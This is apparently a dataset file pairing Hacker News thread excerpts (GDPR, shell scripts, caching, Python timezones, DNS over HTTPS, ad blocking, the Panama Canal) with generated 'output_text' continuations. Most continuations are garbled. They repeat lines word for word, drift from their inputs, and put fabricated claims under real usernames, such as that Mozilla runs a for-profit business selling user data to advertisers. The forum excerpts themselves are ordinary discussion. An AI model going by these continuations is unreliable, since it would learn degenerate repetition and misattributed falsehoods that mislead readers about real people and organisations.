"input_text": " email: 1373f84998986cf8@tutanota.com. Identify me! Know that I\nwont used the email elsewhere.\n\n> You cannot use ToU to bypass GDPR.\n\nJust to clarify this is not buried in ToU but laid out clearly.\n\nSo the website says dont give PII. User still does. And GDPR would penalize\nthe website? Citation please.\n\n~~~\ndogma1138\nAre you serious? the fact that your email isn't yourname@mailprovider.com\ndoesn't make it any less identifiable. My IP address is 192.168.1.1 identify\nme... It also doesn't matter if you think the information is identifiable or\nnot what matters is how the GDPR defines it.\n\nThe GDPR defines PII and there isn't anything you can do about it you can't\nask users to make a throwaway email account and hope that you can pass GDPR by\nclaiming that it's not PII this isn't how regulation works.\n\nWhat matters isn't that the email address reveals your name is that someone\ncan use it to identify additional information about you such as if you are\nsubscribed to a specific service or not.\n\n>So the website says dont give PII. User still does. And GDPR would penalize\nthe website? Citation please.\n\nIf the website asks for an email address that is PII under the GDPR.\n\n~~~\nwtfstatists\nIP is not a user-entered data and cannot be freely selected, unlike email\naddresses.\n\n> the fact that your email isn't yourname@mailprovider.com doesn't make it any\n> less identifiable.\n\nThe only official guidelines about email I could find are in here"} +{"output_text": "?\n\n------\njamesjyu\nI'm working on a game called \"The Game of Life\" that is a simple game of\nlife. It's a game of life in a grid. You can play it on your phone, or on a\ncomputer.\n\n\n\n------\njamesjyu\nI'm working on a game called \"The Game of Life\" that is a simple game of\nlife", "input_text": " on the Open Pandora Linux\nHandheld for now, but the developer says it's very portable and it is likely\nto spread to other platforms in the very near future.\n\n~~~\nskeezix\nIt is very trivial to port, as theres not all that much to it right now..\njust some code to do HTTP PUT and GET to transfer RAM snapshot blobs back and\nforth with the server. Opening it up (if desired) to indie and homebrew games,\nother emus, other target platforms and host platforms, adding new features..\nlots we can do, and hopefully part of the game, but a lot to do before we get\nthere :)\n\nOr perhaps theres already an open source or standardized protocol for doing\nachivements and high scoring and so forth; an open source 'game centre' etc\nwould be nice..\n\n~~~\nyareally\nI'd incorporate it into a mobile game for phones or tablets if it's less\nannoying to users than alternative. The alternative solutions I've seen for\nandroid at least want too much info or annoy users by persisting to ask them\nif they want to use it (albeit that could also be due to the developer). An\nopen solution with a non invasive license would be great for us indie\ndevelopers\n\n------\nkingu\nCompo4All: Making Arcade Games antiSocial Again ;)\n\n \n\nRate my mini-app: Tweetbow - helium\nhttp://tweetbow.appspot.com/\n\n======\nhelium\nYes, I know this is Yet Another Twitter App but I was just having some fun\nusing the Twitter API with javascript and trying out Google App engine.\nHowever, I also do think it could be useful in discovering people you want to\nfollow on Twitter. Any comments"} +{"output_text": "w, and is a good way to get a hash of a file.\n\n~~~\ntedmiston\nI'm not sure I understand what you mean by \"awk which emits the stream of\nunique things, as they are seen.\"\n\n~~~\nggm\nI mean, it's a stream of unique things, as they are seen.\n\n------\ntedmiston\nI'm not sure if this is the best way to do this, but I've been using", "input_text": ".sh).\n\nIn each of those scripts, I typically have a one liner depending on what the\nproject requires. A simple build one is:\n\n \n \n #!/usr/bin/env bash\n \n make build\n \n\nAnd run:\n\n \n \n #!/usr/bin/env bash\n \n docker run foo/bar\n \n\nOr maybe:\n\n \n \n #!/usr/bin/env bash\n \n python manage.py runserver\n \n\nI might also add (source) environment variable settings, etc. Sort of like my\nown personal decentralized makefile.\n\nThen I add each script to my.git/info/exclude for each project. It saves so\nmuch time switching between projects to not have to remember any particular\none's build or run commands.\n\n~~~\nz1mm32m4n\nThis is brilliant; I think I'll start doing this.\n\nOne slight modification: name the build and run scripts something that you\nwill never expect to be in that repo (maybe like run-xyz.sh where xyz are my\ninitials, 10 random characters, etc.).\n\nThen, the filename can be excluded in a global gitignore file.\n\n~~~\ntedmiston\nYeah, good points. Maybe putting the script(s) inside a.whatever directory\ninside the project root like some other dev tools do is worth consideration.\nWhat do you think?\n\n------\nggm\nThis is awk which emits the stream of unique things, as they are seen. it\ndoesn't require sorted input. It runs at the cost of building the obvious hash\nin memory so can drive you to swap over large inputs, but its portable, does\nnot require post-install s/"} +{"output_text": " such thing as the fastest programming language.\n\n~~~\n27182818284\nI think you're missing the point.\n\nThe point is that there is no such thing as the fastest programming language.\n\n~~~\nlumberjack\nI think you're missing the point.\n\nThe point is that there is no such thing as the fastest programming language.\n\n~~~\n27182818284\nI think you're missing the point.\n\nThe point is that", "input_text": "ooooood\nWin---> \"Kyle Wilhoit, a 29-year-old Missourian working for a cybersecurity\ncompany called Trend Micro, has spent the last year building fake water plant\ncontrol systems that mimic the online control systems used by real American\nutilities.\"\n\n \n\nThe programming language that is fastest to implement features - deltrem\n\nSlashdot said that programming has a political axis with conservative and liberal programmers. Liberal programmers worry about how fast you take to implement a feature. Liberal programmers need the answer to this question. (1)

Paul Graham said that his company could implement features faster than his competitors, because his company programmed in Common Lisp and Common Lisp makes you twice more productive as a programmer. (2)

Time passes, progress happens, Common Lisp was the fastest, a more modern programming language is the fastest, so today what programming language is the fastest to implement features? Why?

(1) http://slashdot.org/index2.pl?fhfilter=political+axis\n(2) http://www.paulgraham.com/avg.html\n======\ngyardley\nMust we use this 'liberal' vs. 'conservative' language for programming styles?\nThe terms are already so ridiculously value-laden, you're at risk of letting\nyour political leanings involuntarily bleed through and muddle up your\nprogramming decisions.\n\n~~~\n27182818284\nI think that's a reaction to there being a blog post about liberal and\nconservative programming languaged on the HN page a bit ago.\n\n(And yes, we should absolutely not use them. )\n\n------\nlumberjack\nThere is no"} +{"output_text": "forcing_ optometrists to\nautomate their processes.\n\n~~~\nmattmanser\nI've been to optometry school, and the process is not algorithmic.\n\nIt's a bit like a doctor's appointment, you sit in a room with a doctor, they\nlook at your eyes, they ask you questions, they make a diagnosis, they give\nyou a prescription, and then you go home.\n\nIt's not like a photo booth, you're", "input_text": " forth, but I'll just leave them on my\ndesk and swap when I sit down.\n\nI bet my distance vision would be a lot better now if I hadn't spent 25 years\nstraining to see a monitor with the wrong glasses.\n\n~~~\n1996\nExactly this!! I have an extra wide computer screen for work, it is a gamers\nscreen. So when they tried to sell me progressive, I refused. I want 2 good\nsolutions, not 1 half assed one.\n\nNext time I see an optometrist, I will have to ask them with my precise focal\nlength. They have the details of my correction, so they should be able to\nfigure it out.\n\nCan I bother you more? What is your take on undercorrection? I am wondering if\nI should go for that for my future computer glasses, or my regular glasses.\n\n~~~\nwalterbell\nIt works _if_ combined with \"active focus\". There are references aplenty in\nthe Endmyopia web forum, FB group and YT videos.\n\n------\numvi\nSeems like the majority of optometrists could be replaced by photo booth-esque\noptometry machines. Simply sit in a booth, look through some eye ports, and\nthe machine will automatically start cycling through lenses and making you\nchoose between 1, 2, or equal. At the end it spits out your prescription for a\nnominal fee. For an extra fee you could have additional eye imagery taken by\nthe machine sent off to a remote optometry lab for analysis.\n\nI've never been to optometry school, but 10/10 times I've gone to get a new\nprescription, the prescription process has been extremely algorithmic, to the\npoint where I wonder if cartel-esque forces are _"} +{"output_text": " the memory.\n\n[1]\n[https://github.com/python-text/wordfreq/blob/master/wordfreq...](https://github.com/python-\ntext/wordfreq/blob/master/wordfreq/wordfreq.py)\n\n~~~\nCoding_Cat\nI'm not sure I follow.\n\nYou're saying that you can't use this pattern when looping?\n\n~~~\nrspeer\nI'm saying that you", "input_text": "\n\n...on real workloads, random tends to do worse than other algorithms. But what\nif we take two random choices and just use LRU between those two choices? __\n\n\" 2-random\" is his short hand for the above scenario.\n\n[edit: formatting, I have no idea how to signify a quote; I don't want\npreformatted because it makes a scroll box.]\n\n~~~\nAnimalMuppet\nOn HN, typically a quote is done like this:\n\n> This is a quote. It won't become a scroll box, no matter how long it gets.\n> It will just wrap to the next line. True, the next line won't begin with a\n> \">\" character, but the convention is that the whole paragraph is a quote if\n> the first line begins with a \">\".\n\n------\nPaulHoule\nOften you can get away with dumping the whole cache when it fills up and\nstarting fresh.\n\n~~~\nCoding_Cat\nthat's a horrible pattern. As soon as you go 1 bit over your cache size in a\nhot loop you'll have a 100% miss rate. (assuming each element is loaded once\nin the hot loop).\n\n~~~\nrspeer\nYou don't use this pattern while looping. You use it while memoizing results\nthat you don't want to compute again.\n\nHere's an example, in the Python package wordfreq [1]. When you look up word\nfrequencies, there's some normalization it has to do to your text. Some words\nare very common, and it would be silly to normalize them repeatedly. So\nfrequency lookups are cached.\n\nThe cache dictionary has a maximum size of 100,000, so that exceptional or\nmalicious cases don't use up all"} +{"output_text": " thread:\n\n[https://www.reddit.com/r/MachineLearning/comments/3q8q9e/the...](https://www.reddit.com/r/MachineLearning/comments/3q8q9e/the_tensorflow_vs_keras_debate_is_over/)\n\n> _I think the main reason for the backlash is that the community is\n> disappointed that the community didn 't get to see the", "input_text": "_.\nEven in science it gets political... who knew.\n\n1: i.e., just their algorithms, or their code without very useful\nimplementation-level optimizations\n\n~~~\nargonaut\nIn ML, you can generally email the authors and very often they will be willing\nto send you (their really crappy) code. Although it probably helped that I\nsent these emails from my academic email address.\n\n~~~\npacala\n> There has never been a \"need to learn multiple frameworks in multiple\n> languages.\"\n\n> you can generally email the authors and very often they will be willing to\n> send you (their really crappy) code.\n\nCode obtained from multiple authors, or even from the same author but\ndifferent time periods, is code written using multiple frameworks in multiple\nlanguages. Standardizing on Python / TensorFlow reduces the risk of cognitive\nload along one's journey and is likely to speed up the field. If speed is what\nthe field was missing :)\n\n------\nfchollet\nIf anyone wants to switch to TensorFlow but misses the Torch interface, you\nwill always have Keras:\n[https://github.com/fchollet/keras](https://github.com/fchollet/keras)\n\n~~~\nSmerity\nI also recommend reading @fchollet's guide on integrating Keras and\nTensorFlow, especially for those wanting to implement novel components at a\nlower level :) [http://blog.keras.io/keras-as-a-simplified-interface-to-\ntens...](http://blog.keras.io/keras-as-a-simplified-interface-to-tensorflow-\ntutorial.html)\n\n------\nargonaut\nI like these comments on the Reddit"} +{"output_text": "\u2019s why I\ndon\u2019t play games on Linux.\n\n~~~\neru\nI don't know about that. I have a Linux box at home and a Windows box at work.\nI play games on both.\n\n------\njamesjyu\nI'm not sure if this is a joke or not.\n\n~~~\njamesjyu\nI'm not sure if this is a joke or not.\n\n------\njamesjyu\nI", "input_text": "~~~\napakatt\nCheck the image from the Mac Steam announcement:\n[http://media.steampowered.com/apps/mac/MacSteam_AlfredJasonG...](http://media.steampowered.com/apps/mac/MacSteam_AlfredJasonGabe.jpg)\nThe guy has TWO penguins on his desk! That must count as an official\nannouncement as well, right? ;)\n\n------\nk0eselitz\nHeh. It's \"official\" - if by \"official\" you mean \"not official at all.\"\n\n------\nrbreve\nI downloaded Valve for OSX, but there are not many games for mac right now,\nall the good games are only available for windows\n\n------\npapachito\nThere's nothing official yet from Valve.\n\n~~~\ntimdorr\nFTA: \"An announcement from Valve itself is imminent.\"\n\nSo, you found evidence of it, even got it running, but all over unofficial\nchannels. This is about as official as a table is an banana.\n\n~~~\nComputerGuru\n_a_ banana.\n\nSorry. >.<\n\n~~~\ntimdorr\nWhoops. Wrote another analogy (table is an elephant, I believe) and then\nchanged it without updating my grammar.\n\n------\nbitwize\nHuh? Games? On _my_ Linux?\n\n~~~\neru\nUnix was one of the first operation systems to come with games out of the box.\nLinux proudly follows that tradition.\n\nSome other interesting commercial games for Linux are available at\n\n\n~~~\nugh\nThat may be true but Linux still sucks as a gaming platform. That"} +{"output_text": " a pain in the ass, and it's not like the\nproblem is unique to Python.\n\n~~~\njwilk\n> Terrible PEP, I hope it gets rejected.\n\nIt's not a PEP yet.\n\n> One-off flags like this are hacks that shouldn't be in stdlib.\n\nIt's not a hack. It's a standard way to represent time zones.\n\n> It simply stinks, in an area (time", "input_text": " the DST and non-DST versions label themselves as such, the\n> representation used to track time must distinguish whether DST is active or\n> not to display the correct local time. Really, when I say store local time +\n> timezone, I mean local time plus identifier that gets you to the same unique\n> timezone representation in your medium (python, in this case).\n\nI guess that's my point: the IANA identifier is a well-known way to serialize\na TZ, but doesn't include DST flags because they're not relevant. I think if\nyou wanted to store something like a Python tzinfo object, the easiest way is\njust storing (local time, offset from UTC); (maybe (local time, offset from\nUTC, IANA TZ ID), if you want to keep the TZ)\n\ntzinfo's don't really have a defining quality in Python, I've found. You can\nend up \u2014 depending on libraries used \u2014 with two tzinfos that both conceptually\nare \"UTC\", but don't compare equal\u2026\n\nNow that I've thought about it again, I'm not entirely sure that the DST flag\n+ TZ name by itself is sufficient, mostly in the case of a TZ deciding to\nchange their offset.\n\n> just always convert to UTC and store that. It changes the problem from one\n> of data fidelity to display\n\nThe right thing to do, and for the right reasons.\n\n------\ntoyg\nTerrible PEP, I hope it gets rejected. One-off flags like this are hacks that\nshouldn't be in stdlib. It simply stinks, in an area (time handling) where the\nstdlib does not really smell like roses already.\n\nDealing with time adjustments is"} +{"output_text": "small number of people who are being detained and deported.\n\n~~~\nseldo\nI think you're right, but I think the average citizen is also not thinking\nabout the relatively small number of people who are being detained and\ndeported.\n\n------\njrockway\nI think the problem is that the US has a very large number of people who are\nnot citizens. The US has a large number of people who are not citizens, and\nthe US has a large", "input_text": " if\nbureaucratic middle-management hates something it is being featured in bad\npress and asked unpleasant question by his superiors. But when it comes to\nvisitors, there's pretty much zero incentive to treat them better. I'm not\nsaying that immediately leads to bad treatment - I am a non-citizen, I crossed\nUS border more than a dozen times last few years and always was treated with\ncourtesy and respect, which I assign to the good nature of the people that\nworked there. But there always are bad apples, and there's very little that\ncan keep those in check. If the immigration officer mistakenly denies entry or\ncosts a person 5 hours of their life, there are no consequences, ever. So\nthese things are bound to happen, unless some kind of incentive to become\nbetter will be found.\n\n~~~\nseldo\nOne of those incentives could be if US citizens decided to complain about the\nimmigration system -- the point of the post is to attempt to marginally\ncontribute towards that happening.\n\n~~~\njakejake\nAs sad as it may be I don't think the average US citizen is concerned about a\n5-hour delay for non-citizens at the border. The ordinary Joe is likely to be\nOK with 200 people being delayed if that results in a few people being\ndeported and 1 person being hauled off to jail (which is pretty much what the\nOP said happened). I have a feeling the \"average\" consensus would be that it\nwas worth in in order to keep those 4 people out.\n\nI'm not saying I agree with this whatsoever - I'm just saying my gut tells me\nthis mentality is likely to get you more votes if you are running for office\nin a border state. The average citizen is not thinking about the relatively\n"} +{"output_text": "/en-\nUS/privacy/firefox/)\n\n~~~\njosteink\n> _Seems like multiple issues with Firefox (Cliqz and now this)._\n\nI'm not sure if you're being sarcastic or not, but I'm not sure if you're\naware of the fact that Firefox is a for-profit company.\n\nThey have a business model that is based on selling your data to advertisers.\n\nThey have a business model that", "input_text": " if in principle they could be MitM'd.\n\n~~~\nggm\nso again, how does this make DOH worse than 8.8.8.8?\n\n~~~\nMacha\nYou manually opt in to 8.8.8.8. You may be using something with stronger legal\nprotections than Cloudflare and will not be aware you need to opt out of this.\nThe strength of encryption on the network is irrelevant if you don't trust the\nrecipient.\n\n------\nAnarchistNode7\nHate me for that, but my opinion is that there is no reason for using Firefox\nat all anymore. Mozilla as company have decided that honesty, dignity and\nloyalty towards their origin user base was less important than the hopeless\ntry to defeat Google Chrome and take their place in market share.\n\nAll what Mozilla does is simplifying the browser, removing every single bit of\nmore advanced customization features to be most attractive to the typical\nmainstream user who thinks that customization, features and choice is bloat\nand should have no part inside the product.\n\nHow should i as wary user ever have faith in Mozilla as i see what they have\nbeen doing since 2013?\n\nIf they want to be so badly like Google Chrome, then i can also use the\noriginal instead.\n\nI - as being loosely connected to the Anonymous collective - value morality\nmost. And that morality... Mozilla has thrown over board without thinking\ntwice about it.\n\n------\njamiesonbecker\nSeems like multiple issues with Firefox (Cliqz and now this). FF's new privacy\npolicy has so many exceptions that it makes it challenging to read:\n[https://www.mozilla.org/en-US/privacy/firefox/](https://www.mozilla.org"} +{"output_text": "all>\n\n------\njrockway\nI don't think the NYT is going to be able to make money on this. They have\nbeen losing money for years, and they are not going to be able to make up for\nthat loss by charging more for their content.\n\n~~~\njrockway\nI guess I should have said \"they are not going to be able to make up for that\nloss by charging more for their content _and_ charging more for", "input_text": " olden times.\"\n\nRutledge hasn't apparently visited the NYT often and maybe hasn't picked up a\nnewspaper in awhile.\n\n1\\. Not all of the NYT's traffic is through subscribers: it lets the average\nuser access at least 20 articles a month, and its \"paywall\" is very permeable.\n\n2\\. Even when you pay full price for an issue at the stand, that newspaper\nstill comes with ads. Subscriptions have not accounted for the entirety of\nnewspapers and magazines revenues in a while...\n\n------\nniels_olson\nA few years ago, I laid out head-to-head comparisons of the top newspapers in\nthe US with and without adblock and noscript. NYTimes, on a screen, is easily\nthe best newspaper. Unfortunately, the pressure of jamming more and more links\nand stories above the fold seems to have eroded the NYTimes usability.\n\n[http://www.edwardtufte.com/bboard/q-and-a-fetch-\nmsg?msg_id=0...](http://www.edwardtufte.com/bboard/q-and-a-fetch-\nmsg?msg_id=0002nk#above-fold)\n\nWe should do a poll too: I think a lot of netizens would support NYTimes to\nthe same degree they do NPR, but I don't think the average netizen donates\n$260 to NPR annually (the price NYTimes is asking for their tablet app).\n\n------\nMrAlmostWrong\nThere is no need to redesign when you can read the NYT in basically any format\nof your choosing with the NYT Skimmer:\n\nPart C - I'm sure I'm not the only one who", "input_text": "\n\n \nAsk HN: Visual Design for Hackers - DanI-S\nTake a look at the Rails Rumble 2010 entries: http://railsrumble.com/

There's a whole stack of apps there, developed within 48 hours by small groups of people. They're not all beautiful, but there is (to my eye) a pretty high standard of presentation for most of them.

I am sure I am not alone in feeling like there's this chunk of knowledge I'm missing - in terms of how, and when, to go about making something beautiful.

I'm fascinated by the concept of optimizing user experience - it certainly has the potential to make or break an application's popularity. If you can spend valuable time tweaking code to make it more appealing to the compiler, why can't it work in the other direction too? Though I don't think it's reasonable to expect myself to be incredible at both, I'd like to be able to put together a prototype that looks nice. After all, I wouldn't show people code that I knew was bad and ugly.

Part A - I would love to know - how does this aspect fit into the flow of the project? At what point do you start turning things from black-text-on-white-background into a beautiful and intelligent layout? I'm sure it's usually incremental, but is there a specific point at which you decide to shift focus over to implementing your UI? I know I usually go through many notebook pages of UI ideas even before I've written any code. Is it worthwhile doing mockups in photoshop at this stage? Showing different designs to people and asking for feedback? Or do you usually do this after your core functionality is built? And where do you draw the line, say 'this is ready enough for now!' and release the thing?

Part B -"} +{"output_text": " or \"new\" library that is supposed to solve all of your problems.\n\nI think the problem is that the Node.js community is so small that it is\ndifficult to find a library that solves a problem that you are having. I\nrecently had to write a simple web server in Node.js and I found that I had to\nwrite my own HTTP server, which is a pretty simple task. I found that I had to\nwrite my own HTTP server because there was", "input_text": " single place where callbacks are invoked and make sure all state and resource cleanup is properly done to support domains\n\n* Popular libraries need to also add try-finally handlers for the above.\n\nAs to why this is a problem in node and not so much in other languages, its\nbecause with node callbacks, the call stack goes both ways. In other\nlanguages, libraries mostly call their dependencies' code. In node's CPS\nstyle, you call the library but the library also calls your closure code. The\nsemantics for the 2nd part aren't well defined in node - the loose law\nbasically says: I wont call you twice, I'll try not to call you synchronously,\nand you wont throw (and if you do the behavior is undefined).\n\nWith promises there is a contract and its enforced by the promise\nimplementation. Since Promises actually have error semantics, you can build\nresource management strategies on top of them. [http://promise-\nnuggets.github.io/articles/21-context-manager...](http://promise-\nnuggets.github.io/articles/21-context-managers-transactions.html) \\- and\nconsequently there is no reason to crash your server on errors.\n\n~~~\nlobster_johnson\nDomains are used for another reason: To emulate thread-local variables. I hope\nthat support is not going away, because it's really handy.\n\n~~~\nspion\nIts interesting that the same problem (TLS) can also be solved with something\nsimilar to promises :)\n\n------\nCorrado\nI agree with this article and find the Node.js community, and to a lesser\nextent Javascript itself, exhausting. It seems like every 2 minutes there is a\n\"more\""} +{"output_text": "vention in a way that doesn't require\npeeking into the software on the machine.\n\n~~~\njosteink\n> I'm not saying that Facebook is circumventing ad-blocking in this way, but\n> you certainly can attempt ad-block circumvention in a way that doesn't\n> require peeking into the software on the machine.\n\nI'm not sure if you're being sarcastic or not, but I'm not sure how you can\ncircumvent ad", "input_text": "news.net/news_article/57ab2d7184f6fd5f5a...](https://www.privacy-\nnews.net/news_article/57ab2d7184f6fd5f5ad2ddcd)\n\n[http://news.softpedia.com/news/blocking-ad-blockers-may-\nbe-i...](http://news.softpedia.com/news/blocking-ad-blockers-may-be-illegal-\nin-the-eu-thanks-to-the-cookie-law-503359.shtml)\n\n~~~\nmdasen\nIt depends on how it is implemented. Those articles are about invading the\nprivacy of the user by detecting what software is on the machine. However, you\ndon't need to detect that someone has an ad-blocker to circumvent it.\n\nFirst, you can simply disguise your ads. You can disguise them for everyone.\nThat doesn't require you to peek into what software is on the machine. You've\nsimply made it difficult for an ad-blocker to detect the ads.\n\nSecond, you don't have to peek into the software on a machine to determine\nthat content isn't loading. Let's say that someone is blocking my ad server\nvia /etc/hosts. I shouldn't be able to write code that tries to read a user's\n/etc/hosts, but I can load content via AJAX, see that the content isn't\nloading, and then take action based on that (maybe loading from a secondary\nsource, maybe not displaying the page if not all content can be loaded).\n\nI'm not saying that Facebook is circumventing ad-blocking in this way, but you\ncertainly can attempt ad-block circum"} +{"output_text": " for you may not work for others.\n\n~~~\nsalixrosa\nI'm not saying that public transport is perfect. I'm saying that it is\nperfectly adequate for the vast majority of people.\n\nI'm saying that the car is not.\n\n~~~\nnec4b\nI'm saying that the car is not perfect.\n\n------\njedberg\nI'm not sure I agree with the premise that the car is the problem.\n\nThe", "input_text": " certain size or have accomplished\ninitial goals and are looking to conquer that next frontier. Just look at the\noverreach of the SV titans, for example.\n\nFor better or worse, we have a car based society now, and pining for the good\nold days is backwards looking. The next thing should preserve the immense\nfreedom and flexibility that cars brought. Prescribing a top down solution\nthat gives even more power to the state at the expense of the people is a non\nstarter.\n\n~~~\nsalixrosa\nCan you give me an example of the immense freedom and flexibility that cars\nbrought?\n\nCan you give me an example that doesn't involve driving to the middle of\nnowhere, that isn't solved by a good public transportation system, and doesn't\ninvolve bringing home large amounts of groceries, or furniture, etc?\n\n~~~\nnec4b\nDaily routine for people who do not live, work and socialize exclusively in\nthe city center. Things like going to work, piking up kids, shopping, visiting\nother people, having hobbies, outdoor activities, returning borrowed stuff,...\n\n~~~\nsalixrosa\nA city center isn't required for public transportation to be convenient. I've\ntaken public transit through suburbs and tiny towns and out to the\ncountryside.\n\nIt just so happens that most of the public transit in the states royally sucks\n-- even in the city centers.\n\n~~~\nnec4b\nIt is not a matter of quality. By definition public transport cannot connect\nall the dots on the map. It is simply impractical or rather impossible. The\ncar gives us freedom of movement that nothing else can currently match. You\npersonal anecdote of taking public transport doesn't invalidate other people\nuse cases and needs, because what works"} +{"output_text": ".\n\n~~~\njedberg\n> We believe the right long-term answer for Keybase is finding a way to charge\n> large corporations and offer pretty much everything else for free.\n\nI don't think that's true. I think the right long term answer is to make\nKeybase a company that can make money.\n\nI think the right long term answer is to make Keybase a company that can make\nmoney.\n\n~~~\nmalgorithms\nI", "input_text": ", is going to be there in six months? Like, I\n_still_ have a private server in a closet in my apartment that syncs all the\nstuff I trust Keybase with because I don't know what the business-side failure\ncase is.\n\nYou guys should be taking my money, is what I'm saying. Also probably hiring\nme. But definitely taking my money.\n\n~~~\nmalgorithms\nWe believe the right long-term answer for Keybase is finding a way to charge\nlarge corporations and offer pretty much everything else for free. Obviously\nthere would have to be some paid tier if you really wanted 10TB of storage or\nsomething, but very few people want that right now. We're still just getting\nstarted.\n\nOf course to achieve our goal, we'll also have to find a way to distinguish\ncommunities - which we'll want to use Keybase for free - and companies.\n\nMany of us on the team have come from ad-supported businesses and we really,\nreally never want to do that again. I personally guarantee I will never be a\n\"publisher\" again. Fortunately that just can't work with Keybase, so no fears\nthere.\n\nBut charging for anything on Keybase right now would be a big mistake. We only\nhave ~180,000 users, and we want to bring crypto to _everyone_. That basically\nmeans making products we believe are better.\n\nAnother way of looking at your concern: I think if we were charging right now,\nit wouldn't actually _decrease_ the odds we disappeared in a few years. It\nmight distract our attention from working on the best product and cause our\nbloody demise. So maybe we're not choosing the path that gives you the highest\nimpression of safety, but I think we actually are"} +{"output_text": "mer/spotlight/spirit/a3_20040108.html)\n\\- and I've seen a watch that kept the time of the moon.\n\n------\njoshstrange\nI'm not sure why this is being downvoted. I think this is a good move by Apple\nand I think it's a good move for the watch. I think it's a good move for the\nwatch because it's a watch and not a phone. I think it's", "input_text": "\n\nIf you don't agree with this policy because its authoritarian -- it is -- but\nthats Apple and thats another debate. Given that they are authoritarian they\nmight as well get rid of \"apps that exclusively tell time\" or \"fart apps\".\nThis makes sense to me.\n\n~~~\napplerules\nI agree. Also:\n\nSmart phones actually have really nothing to do with cell phones -- the name\nphone is just some marketing skeumorphism because its a smart computer in your\npocket. If the Apple phone couldn't call or text it would still be just as\nuseful and expensive.\n\nIf you don't agree with this policy because its authoritarian -- it is -- but\nthats Apple and thats another debate. Given that they are authoritarian they\nmight as well get rid of \"apps that exclusively call or text\" [e.g. whatsapp,\nhangouts, snapchat, facebook messenger, burner etc] or \"fart apps\". This makes\nsense to me.\n\n------\njoshstrange\nSo while the headline seems pretty damning I think this policy makes sense\nseeing how the third-party \"apps\", as of right now, do not execute ON the\nwatch (everything happens on the phone and talks to watch). Apple doesn't want\n\"custom watch faces\" which will require talking over the expensive (in terms\nof battery) link to the phone for every update. I think this is all about\nbattery not trying to stifle third-party watch faces.\n\n------\ndalke\nI wonder if the restriction only regards Earth time. People have made watches\nthat kept Mars time -\n[http://mars.nasa.gov/mer/spotlight/spirit/a3_20040108.html](http://mars.nasa.gov/"} +{"output_text": " The water was so rough that we had to tie up\nfor a few hours.\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to be saying\nthat the Panama Canal is a good example of a \"successful\" project that was\nbuilt in the wrong place. But the article doesn't really explain why that is.\n\n~~~\njoshuahedlund\nI guess I'm just not seeing the point of", "input_text": " terrain that needs clearing. The rain and loose\nsoils that hurt the first attempt at the Panama Canal could be turned into a\npositive factor with today's technology.\n\n~~~\nfraserharris\na) You can not escape the need for locks because there is a 8\" height\ndifference of the Pacific Ocean and the Caribbean. Additionally you have tidal\nvariation.\n\nb) The Panama Canal locks are already in pairs to allow simultaneous bi-\ndirectional traffic. They are currently building a third set of larger locks\nthat will increase maximum dimensions of vessels transiting the Panama Canal.\n\n~~~\nAsbostos\nJust because there's a height difference with locks, doesn't mean some kind of\nsingularity would develop without them. Either the height difference would\ndisappear, or continuous currents through the canal would maintain it.\n\nIn the Panama canal, they benefit from keeping the inland lakes above sea\nlevel so that they're deep enough. If they were connected to the sea, they'd\nlower significantly and even more excavation would be needed to make a path\nfor ships.\n\nThere would also be fascinating effects of strong currents through it, sea\nlevel changes, fresh water lakes becoming salt water (sorry local people!),\nand fish migrating.\n\n~~~\nChristinaM\nThe average difference is 8\" but with tides it can be up to 12' and it changes\nconstantly. It'd be really tough for the ships to handle in the confined space\nespecially when eddies form along the edges and with currents changing over a\nperiod of hours. A lot of these ships only travel at 10-15 knots and they\naren't very maneuverable.\n\nI was recently on a sailboat going through Hell Gate on the East River in NYC.\nIt has about a 6' tidal range."} +{"output_text": " speed, I would say that the\nbottleneck is most likely the data pipeline.\n\n~~~\njimktrains2\n> With applications that are dominated by raw speed, I would say that the\n> bottleneck is most likely the data pipeline.\n\nI think this is the case for most applications.\n\n------\njimktrains2\nI think the author is conflating the speed of the language with the speed of\nthe code.\n\nI've", "input_text": " down.\n\n------\ndahart\nPython's value to me has always been that it's easier to get things done, not\nit's speed. One time when I was interviewing a candidate for a coding job, the\ncandidate said she loved Python the most \"because you can just yell at it and\nit'll work.\"\n\nIt's both the breadth of the standard library and ecosystem, and the simple\nlanguage design, that make developing things in Python faster for me.\n\nDoing problems on Project Euler has been an education for me in how algorithm\nmatters more than speed. Lots and lots of people spend hours writing long C++\ncodes that are easily beaten by a few lines of Python. It certainly goes the\nother way too, and the wrong algorithm in Python is even that much slower and\nmore painful than the right algorithm in C++. But when the right algorithm is\nused and the problem is solved in a few milliseconds, it really doesn't matter\nwhich language uses more CPU cycles, all that matters is whether you saw the\ninsight that let you skip 99% of the search space, and how much time you spend\nwriting code.\n\n------\n_pmf_\nSomewhat ironically, Python is used a lot for things that would benefit from\nraw speed (data processing pipelines) and do not benefit at all from dynamic\ntyping (since the kind of property bags / data frame views over data are\neasily replicated in statically typed languages). But Python's C extension API\nis quite a bit easier than p.e. Matlab's MEX API (to me at least); can typical\nPython IDEs compile and relink extension modules without an external build\nstep?\n\n> Your bottleneck is most likely not CPU or Python itself.\n\nWith applications that are dominated by raw"} +{"output_text": " delivery is a necessity.\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nI think the problem is that the people who are good at this are not the people\nwho are good at the other things.\n\nI'm not a great programmer, but I'm a great designer. I'm not a great\nprogrammer, but I'm a great designer.\n\nI'm not a great programmer, but I'm a great salesman.", "input_text": " competently doing their thing in unsexy domains and aren't trying to eat\nthe whole pie.\n\nRock Auto, for instance, isn't trying to serve every idiot on the planet with\na car. If you can't keep your lefts/rights and fronts/backs straight when\nordering e.g. brake hoses, you're going to find it a frustrating experience.\nPutting up a (small) barrier to entry to keep out the least clueful people\nprobably helps keep their costs down.\n\nNot affiliated, just a very happy repeat customer.\n\n~~~\ndan_quixote\nMy nomination is McMaster-Carr (mcmaster.com) - They have a huge catalog of\nparts/tools yet somehow it's so intuitive to browse. I was a mechanical\nengineer in a previous life and McMaster's website was my bible. Step one for\nany new prototype design was to browse this site. Best case scenario, you\ncould cobble together your prototype from various COTS (commercial off the\nshelf) McMaster parts. And if that wasn't an option, scan the catalog for\nnecessary parts and raw materials. If they don't exist at McMaster, your\ndesign idea just got at least 10X expensive and lead time doubled.\n\n~~~\nsambroner\nI was always shocked by McMaster-Carr's delivery speed. I felt like the parts\nwould arrive as quickly as I could have conceivably picked them up.\n\nThis was 10 years ago now, so sort of like Amazon Prime before it became\nubiquitous, but for materials and tools. However McMaster was and remains much\nbetter organized and much better spec-ed.\n\n~~~\nfrandroid\nThat's because they already have to delivery that fast for car repair shops.\nFast"}